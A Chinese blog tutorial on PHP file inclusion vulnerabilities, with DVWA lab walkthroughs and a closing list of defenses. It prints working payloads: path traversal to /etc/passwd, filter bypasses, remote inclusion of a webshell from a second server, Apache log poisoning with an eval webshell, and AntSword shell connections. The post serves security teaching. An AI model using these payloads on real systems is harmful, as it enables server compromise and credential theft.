【网络安全的神秘世界】文件包含漏洞

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

一、概述

文件包含:重复使用的函数写在文件里,需要使用某个函数时直接调用此文件,而无需再次编写

程序开发人员希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用恶意文件,造成文件包含漏洞

在通过php函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入

【包含】:加载和解析

二、分类

1️⃣本地文件包含

  • 用户对输入可控且无过滤
  • 可以利用相对路径或绝对路径读取系统
1、绝对路径
从根目录开始的完整路径2、相对路径
相对于当前工作目录的路径3、什么情况下使用相对路径?
在网页开发中

2️⃣远程文件包含

需要php.ini开启了allow_url_fopen和allow_url_include的配置,包含的文件是第三方服务器的文件

  • allow_url_fopen=on:(默认为on)允许从远程服务器或者网站检索数据
  • allow_url_include=on:(php 5.2之后默认为off)允许include/require远程文件

3️⃣远程与本地包含的区别

原理相同,但前者只能包含本地服务器上的文件,而后者可以包含远程服务器上的文件

三、php中的四种文件包含函数

require()
include()require_once()
include_once()

include:在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require:出现错误的时候,会直接报错并退出程序的执行

require_once()和include_once(),与前两个的不同之处在于只包含一次

四、常见的参数

URL中如果出现了如下内容就可能存在文件包含漏洞

?page=
?file=
?home=

五、常见的敏感信息路径

windows系统

c:\boot.ini //查看系统版本C:\windows\repaire\sam //存储windows系统初次安装的密码c:\programFiles\mysql\my.ini //MySQL配置文件,内置root密码c:\windows\php.ini //PHP配置文件c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件

Linux/Unix系统

/etc/passwd //账户信息/etc/shadow //账户密码文件/usr/local/app/apache2/conf/http.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置/usr/local/app/php5/lib/php.ini //PHP配置文件/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //mySQL配置文件

六、如何发现文件包含漏洞

1、观察URL链接是否包括以下类似的关键字:**page/include/path/file/link/url **等,如果有则可能存在文件包含漏洞

2、观察在URL中,出现的赋值参数=后的内容是否为一个文件,如果是则可能存在文件包含漏洞

3、在关键字处或明显被文件赋值的参数处,尝试进行赋值。如:https://www.baidu.com 或 /etc/passwd

4、配合文件上传漏洞进行验证

七、DVWA演示

1、Low

file include模块,可以注意到有file1.php,file2.php,file3.php三个文件

在这里插入图片描述

查看源代码

在这里插入图片描述

尝试获取服务器上的文件内容,输入…/…/…/…/…/etc/passwd(多少个…/都行,越多越好)

…/返回上级目录,当返回到根目录时再…/还是根目录

在这里插入图片描述

2、Medium

查看源码发现,通过str_replace()进行了过滤

在这里插入图片描述

双写绕过

..../..../....etc/passwd
..././..././etc/passwd

在这里插入图片描述

3、High

限制‘了page参数的开头必须是file或include.php

在这里插入图片描述

fnmatch()函数根据指定的模式来匹配文件名或字符串语法:
fnmatch(pattern,string,flags)pattern 必需,规定要检索的模式
string  必须,规定要检查的字符串或文件
flags   可选

可以用file://协议进行绕过

http://127.0.0.1/vulnerabilities/fi/?page=file:///etc/passwd

也可以上传一个有一句话木马的文件,叫:file5.php,再通过文件包含内容包含file5.php

4、Impossible

不存在漏洞,因为写了白名单,其他文件都不可能包含

在这里插入图片描述

八、远程文件包含

远程文件包含是指包含第三方服务器上的文件

此处我们使用DVWA的文件包含漏洞包含Upload-Loads中的文件

DVWA:靶机                        172.17.0.2 --> http://10.0.0.158:8089Upload-labs:攻击者自己搭建的服务器  172.17.0.3 --> http://10.0.0.158:8088

同一台服务器,开放了不同的端口对外进行服务,因为底层是同一台服务器,所以不算远程文件包含

为什么上面这种情况还算远程文件?——因为这个ip是经过映射后的地址

通过 ip a 命令查看真实IP

DVWA IP: 172.17.0.2

在这里插入图片描述

Upload-Labs IP: 172.17.0.3

在这里插入图片描述

把DVWA的安全级别改为【LOW】

在这里插入图片描述

新建一句话木马文件info.php

在这里插入图片描述

upload-labs靶场禁用js后上传info.txt一句话木马脚本

在这里插入图片描述

在这里插入图片描述

粘贴图像连接后访问

在这里插入图片描述

打开DVWA靶场的【File Inclusion】模块,访问:

10.0.0.158:8089/vulnerabilities/fi/?page=http://10.0.0.158:8088/upload/info.php

实际上这个时候包含的是info.php被解析后的结果了也就是upload的php版本信息,可我们想要的是dvwa的php版本信息

在这里插入图片描述

在这里插入图片描述

我们重新上传info.php把后缀名改为txt

在这里插入图片描述

在这里插入图片描述

右击——>新建标签页打开图像,查看

在这里插入图片描述

再去DVWA靶场访问就会解析dvwa靶场的phpinfo信息

10.0.0.158:8089/vulnerabilities/fi/?page=http://10.0.0.158:8088/upload/info.txt

在这里插入图片描述

也可以通过蚁剑进行连接

在这里插入图片描述

F12打开控制台,获取cookie

在这里插入图片描述

打开蚁剑,填写dvwa靶场链接

在这里插入图片描述

设置cookie值,测试一下,成功

在这里插入图片描述

九、文件包含getshell

1、中间件日志包含绕过

网站本身没有上传点,又有安全设备,就可以使用中间件日志包含绕过

在url后面添加一句话木马,无论访问是否成功,网站的web日志会记录下来

DVWA中,apache2日志文件路径为:/var/log/apache2.access.log

包含日志文件,需要先对文件和目录添加访问权限,让web端有权限去访问

root@c1f28c3146d7# chmod 755 /var/log/apache2
root@c1f28c3146d7# chmod 644 access.log

修改完权限后,访问

http://10.0.0.158:8089/vulnerabilities/fi/?page=<?php phpinfo();?>

查看日志文件,发现一句话木马被浏览器进行url编码了

cd /var/log/apache2
tail access.log

在这里插入图片描述

使用burp抓包进行修改,将编码字符改为原字符后放包

在这里插入图片描述

再次查看日志,写入了完整的一句话木马

在这里插入图片描述

去前端dvwa靶场,包含这个日志文件

http://10.0.0.158:8089/vulnerabilities/fi/?page=/var/log/apache2/access.log

在这里插入图片描述

之后使用同样的方式写入一句话木马<?php @eval($_POST['a']);?>后,用蚁剑进行连接

用蚁剑连接时需要加上cookie

在这里插入图片描述

2、配合文件上传getshell

攻击思路:

1、制作图片马
2、上传图片马
3、以文件包含漏洞来执行图片的php代码

在dvwa的File Upload模块上传图片码,上传成功,获得上传路径

在这里插入图片描述

利用文件包含访问图片码,直接在URL page=后面输入返回的上传路径即可

在这里插入图片描述

使用蚁剑进行连接,输入地址:

10.0.0.158:8089/vulnerabilities/fi/?page=../../hackable/uploads/1.png

由于文件包含需要登录DVWA,在未登录的状态下,会导致连接不成功,可以直接把已经登录的Cookie信息在编辑shell配置添加到Header头里,这样就可以了

在已经登录DVWA页面,按F12键,获取Cookie

在这里插入图片描述

连接成功!

在这里插入图片描述

十、文件包含漏洞防御

1、设置白名单

2、过滤危险字符(…/、http)

3、设置文件目录权限

4、关闭危险配置(设置allow_url_include和allow_url_fopen为关闭)

5、严格检查include类的文件包含函数中的参数是否外界可控

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/384913.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】哈希表的模拟实现

文章目录 1. 哈希的概念2. 哈希表与哈希函数2.1 哈希冲突2.2 哈希函数2.3 哈希冲突的解决2.3.1 闭散列&#xff08;线性探测&#xff09;2.3.2 闭散列的实现2.3.3 开散列(哈希桶)2.3.4 开散列的实现 2.4 开散列与闭散列比较 1. 哈希的概念 在我们之前所接触到的所有的数据结构…

自动驾驶-机器人-slam-定位面经和面试知识系列05之常考公式推导(02)

这个博客系列会分为C STL-面经、常考公式推导和SLAM面经面试题等三个系列进行更新&#xff0c;基本涵盖了自己秋招历程被问过的面试内容&#xff08;除了实习和学校项目相关的具体细节&#xff09;。在知乎和牛客&#xff08;牛客上某些文章上会附上内推码&#xff09;也会同步…

AI大模型大厂面试真题:「2024大厂大模型技术岗内部面试题+答案」

AI大模型岗的大厂门槛又降低了&#xff01;实在太缺人了&#xff0c;大模型岗位真的强烈建议各位多投提前批&#xff0c;▶️众所周知&#xff0c;2025届秋招提前批已经打响&#xff0c;&#x1f64b;在这里真心建议大家6月7月一定要多投提前批&#xff01; &#x1f4bb;我们…

C# Task.WaitAll 的用法

目录 简介 1.WaitAll(Task[], Int32, CancellationToken) 2.WaitAll(Task[]) 3.WaitAll(Task[], Int32) 4.WaitAll(Task[], CancellationToken) 5.WaitAll(Task[], TimeSpan) 结束 简介 Task.WaitAll 是 C# 中用于并行编程的一个的方法&#xff0c;它属于 System.Threa…

Lombok的认识

Lombok的作用 Lombok是一个Java库&#xff0c;它可以通过简单的注解形式来帮助开发人员简化Java代码的编写&#xff0c;特别是减少模板代码的书写。具体来说&#xff0c;Lombok的主要作用包括&#xff1a; 减少模板代码&#xff1a;Lombok可以通过注解自动生成getter、setter、…

LIS系统源码,实验室管理信息系统LIS,.Net C#语言开发,支持DB2,Oracle,MS SQLServer等主流数据库

实验室管理信息系统LIS源码&#xff0c;采用.Net C#语言开发&#xff0c;C/S架构。支持DB2&#xff0c;Oracle&#xff0c;MS SQLServer等主流数据库。&#xff08;LIS系统全套商业源码&#xff0c;自主版权&#xff0c;多家大型综合医院应用案例&#xff0c;适合二次开发&…

【笔记:3D航路规划算法】二、RRT*

目录 RRT*于RRT的不同之处1、路径优化&#xff1a;2、成本计算&#xff1a;3、重连线步骤&#xff1a; 图解1、初始化2、路径搜索3、效果展示 总结 3D路径规划是在三维空间中寻找从起点到终点的最短或最优路径的一种技术。它广泛应用于无人机导航、机器人运动规划、虚拟现实等领…

人工智能技术的分析与探讨

《人工智能技术的分析与探讨》 摘要&#xff1a; 本文深入探讨了人工智能技术在多个领域的应用&#xff0c;包括智能感知、智能语音、智能问答、智能机器人、智能制造、智能医疗等。详细阐述了这些技术在当前的应用现状和主要场景&#xff0c;展示了一些典型的应用案例&#…

初识git工具~~上传代码到gitee仓库的方法

目录 1.背景~~其安装 2.gitee介绍 2.1新建仓库 2.2进行相关配置 3.拉取仓库 4.服务器操作 4.1克隆操作 4.2查看本地仓库 4.3代码拖到本地仓库 4.4关于git三板斧介绍 4.4.1add操作 4.4.2commit操作 4.4.3push操作 5.一些其他说明 5.1.ignore说明 5.2git log命令 …

大模型额外篇章三:vercel搭建openai中转服务器

文章目录 一、起因和注意1)起因2)注意二、实现方法(原理:透传)1)nginx方案2)node服务3)纯 js 方案4)选择国外的域名服务商(DNS 解析路径缩短,建议方案国外提供 CDN 云服务商结合自建云服务业务做负载均衡)三、实践(vercel部署OpenAI代理服务器)四、测试搭建的Ope…

SQLException:Operation not allowed after ResultSet closed

运行代码时出现的错误&#xff1a; 这是在运行简单的JDBC访问数据库时出现的问题&#xff0c;原因是在ResultSet方法中添加了close()关闭方法,如图&#xff1a; ResultSet 是通过 query 方法获得的&#xff0c;并且在 try-catch 块中没有显式地关闭它。这实际上是 一个常见的…

创建一个基于Python的Python代码插入工具

在这篇博客中&#xff0c;我将分享如何使用Python创建一个简单的Python代码插入工具。这个工具允许用户插入不同部分的代码&#xff0c;包括导入语句、GUI代码、方法定义和主执行代码&#xff0c;并将它们组合在一起。我们将从设置基本的wxPython应用程序开始&#xff0c;然后逐…

基于Java+SpringMvc+Vue技术的慈善捐赠平台设计与实现(源码+LW+部署讲解)

项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功以及课程答疑&#xff01; 软件开发环境及开发工具&#xff1a; 操作系统&#xff1a;Windows 10、Windows 7、Windows 8 开发语言&#xff1a;java 前端技术&#xff1a;JavaScript、VUE.j…

计算机网络基础:2.TCP/IP模型中的各层协议、IP地址

一、TCP/IP模型中的各层协议 接着第一篇餐厅运营的例子来解释一下TCP/IP五层模型中的每一层协议&#xff1a; 1. 应用层&#xff08;餐饮一体机&#xff09; 在TCP/IP模型中&#xff0c;应用层直接与用户交互&#xff0c;提供网络服务。这一层将OSI模型的应用层&#xff08;点…

Keras入门:一维线性回归问题

目录 一、一维变量线性回归 1. 数据生成 2. 建立训练模型 3. 作图 4. 完整代码 一、一维变量线性回归 1. 数据生成 import keras import numpy as np import matplotlib.pyplot as plt #matplotlib inline xnp.linspace(0, 100, 30) #0~100之间&#xff0c;生成30个数 y…

前端 SSE 长连接

使用 const options {withCredentials: true, // 默认 false}const eventSource new EventSource(/api, options);eventSource.addEventListener(open, () > {});eventSource.onmessage (event) > {}; // 或addEventListener(message,callback)eventSource.addEvent…

AV1技术学习:Transform Coding

对预测残差进行变换编码&#xff0c;去除潜在的空间相关性。VP9 采用统一的变换块大小设计&#xff0c;编码块中的所有的块共享相同的变换大小。VP9 支持 4 4、8 8、16 16、32 32 四种正方形变换大小。根据预测模式选择由一维离散余弦变换 (DCT) 和非对称离散正弦变换 (ADS…

董宇辉离职,我一点都不意外!只不过感觉来的太快

下面这张图&#xff0c;是我在半年多前写的一段随笔&#xff0c;没想到来的这么快&#xff01; 碰巧的是今天中午&#xff0c;在开发者群里有两位老铁自曝&#xff0c;本以为能公司干到老&#xff0c;但公司却不给机会&#xff0c;已经不在是公司员工了。 最近&#xff0c;晓衡…

Axious的请求与响应

Axious的请求与响应 1.什么是Axious Axious是一个开源的可以用在浏览器和Node.js的异步通信框架&#xff0c;它的主要作用就是实现AJAX异步通信&#xff0c;其功能特点如下&#xff1a; 从浏览器中创建XMLHttpRequests ~从node.js创建Http请求 支持PromiseAPI 拦截请求和…

多表查询的内连接与外连接

目录 1. 内连接 1.1 概述 1.2 等值连接 1.3 非等值连接 1.4 自连接 2. 外连接 2.1 概述 2.2 左/右连接 2.3 全连接 3. 多张表连接 1. 内连接 1.1 概述 查询满足条件的两张表数据&#xff0c;也就是两张表的交集&#xff1b; 内连接使用过程中&#xff0c;尽量对表重…